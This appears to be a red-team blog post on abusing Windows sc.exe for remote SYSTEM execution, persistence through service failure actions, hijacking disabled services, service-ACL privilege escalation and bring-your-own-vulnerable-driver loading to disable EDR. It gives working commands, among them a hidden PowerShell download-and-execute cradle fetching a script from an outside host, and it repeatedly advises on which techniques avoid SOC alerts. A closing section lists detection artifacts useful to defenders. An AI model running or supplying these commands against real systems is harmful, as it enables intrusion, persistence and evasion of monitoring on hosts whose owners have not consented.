sc.exe ships on every Windows host. The Service Control Manager it talks to runs as SYSTEM, which is why services have been a red team staple for so long. The flip side is that defenders have had just as long to build detection. So most of this post is about which knobs are quieter than the obvious ones.
1. What is sc.exe#
sc.exe is the command-line client for the Service Control Manager (SCM). It can start, stop, pause, reconfigure, create, and delete services, locally or against a remote host.
Why services are useful on the offensive side:
- They run as
NT AUTHORITY\SYSTEMby default (orLocalService/NetworkServicefor the more restricted ones). - The SCM is reachable over RPC on port 135 (with a dynamic high port) or named pipes over SMB 445 — so credentialed remote access is enough.
- They survive reboots.
- A service named “Windows Error Reporting Helper” sits invisible in a list of two hundred similar entries.
2. Remote execution via new services#
You need admin credentials on the target. With those, two commands give you SYSTEM execution.
:: Create the service. The space after binPath=, start=, and displayname= is REQUIRED.
sc \\10.10.1.5 create WinUpdater binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/run.ps1')" start= auto displayname= "Windows Update Helper"
:: Start the service
sc \\10.10.1.5 start WinUpdater
:: Clean up afterward — leaving the service in place is loud
sc \\10.10.1.5 delete WinUpdatercmd.exe isn’t a real service binary — it doesn’t talk the ServiceMain protocol back to the SCM. So the SCM waits 30 seconds, decides the service didn’t start, and terminates the process, with Event ID 7000 (“The service did not start due to a logon failure”) or 7009 (“Timeout waiting for service to respond”) logged depending on how it fails. Your payload runs before the timeout fires; the error log is the artifact you leave behind.
3. Persistence via failure actions#
Creating a new service emits Event ID 7045 (“A service was installed in the system”), which almost every SOC alerts on. A quieter approach is to reach into an existing service’s failure actions.
Failure actions tell Windows what to do when a service crashes. You can point them at your own binary.
:: Pick a service you can crash, like Spooler or Fax.
sc failure Spooler command= "C:\windows\temp\beacon.exe" reset= 0 actions= run/5000
:: Crash the spooler — locally with taskkill, or remotely if you have RPC.
taskkill /F /IM spoolsv.exeThe legitimate binPath of the service stays untouched, so anything alerting on service-binary changes sees nothing. The defender’s options are limited: watch for writes to HKLM\SYSTEM\CurrentControlSet\Services\NAME\FailureCommand in the registry, or alert on Event ID 7031 (“The NAME service terminated unexpectedly”) followed by a recovery action.
4. Stealth via reconfiguration (sc config)#
Instead of creating a service, hijack a disabled one. Reconfiguring an existing service emits Event ID 7040 (“Service start type changed”), which most SOCs ignore in favor of 7045.
:: Find disabled services
sc query state= all | findstr "SERVICE_NAME"
:: Candidates: RemoteRegistry, Fax, XblAuthManager
:: Repoint and re-enable
sc config RemoteRegistry binPath= "C:\temp\payload.exe" start= demand obj= "LocalSystem"
:: Run it
sc start RemoteRegistry
:: Put it back the way you found it
sc config RemoteRegistry binPath= "C:\Windows\system32\svchost.exe -k localService" start= disabledThe restore step matters. A service in a half-configured state is the kind of artifact that gets noticed during incident response weeks later.
5. Weak service ACLs (privilege escalation)#
If you’ve landed as a low-privilege user, the question is whether any service’s security descriptor is misconfigured in a way you can use. accesschk from Sysinternals does this cleanly; sc sdshow is the native option but you have to read SDDL by hand.
sc sdshow Spooler
:: Sample: D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)...The right that actually lets you change a service’s binary is DC (SERVICE_CHANGE_CONFIG). If DC is granted to a trustee you control — AU (Authenticated Users), IU (Interactive Users), or WD (World / Everyone) — you can repoint binPath to your payload, restart, and escalate to whatever account the service runs under. That’s usually LocalSystem, which is the prize.
Almost as good is WD in the access-mask position (WRITE_DAC), which lets you rewrite the security descriptor and then grant yourself DC.
Worth knowing because the original post version of this advice was wrong: in service SDDL, RP and WP mean SERVICE_START and SERVICE_STOP. They don’t mean “Read Property” / “Write Property” the way those letters do in Active Directory object DACLs. Having RP and WP alone gets you start/stop, not config change.
If you’re already an admin and want to plant a backdoor in a service’s ACL for a specific user account, sc sdset writes the new descriptor.
6. Loading kernel drivers#
sc.exe will load kernel-mode drivers (.sys files) the same way it loads any other service. This is the “bring your own vulnerable driver” route used by threat actors and game cheaters to disable EDR callbacks.
sc create MyDriver type= kernel binPath= "C:\temp\vulnerable_driver.sys"
sc start MyDriverThe driver has to be signed (and on HVCI-enabled hosts, attested), or Driver Signature Enforcement has to be off. In practice that means picking a known-vulnerable signed driver — loldrivers.io maintains the list — rather than rolling your own.
7. Forensic artifacts and detection#
The trail sc.exe leaves behind:
- Event ID 7045 — new service installed. The high-signal event most SOC content keys on.
- Event ID 7040 — service start type changed. Logged for config edits.
- Event ID 7036 / 7000 / 7009 / 7031 — service start, failure, timeout, unexpected termination.
- System event log, not Security — most SCM activity lands in
System, which means logging it requires a separate forwarding rule from the usual Security-log-only setup. - Registry —
HKLM\SYSTEM\CurrentControlSet\Services\NAMEis where the config lives. Failure actions, binary paths, start types — all here. - Network — remote SCM activity is MS-SCMR over RPC. NIDS and EDR have signatures for it; assume it’s recognized.
Closing#
Services are the privileged, persistent, network-reachable plumbing of Windows. That’s the reason they’re useful for ops, and also the reason they’re loud on the wire. Most of the detection content shipped with modern SIEMs and EDRs is bolted on top of the service lifecycle — Event 7045, registry writes to \Services\*, MS-SCMR signatures, the lot. If you can get what you need from wmic or scheduled tasks instead, you usually should. If you can’t, at least know which of the service-shaped techniques is quietest.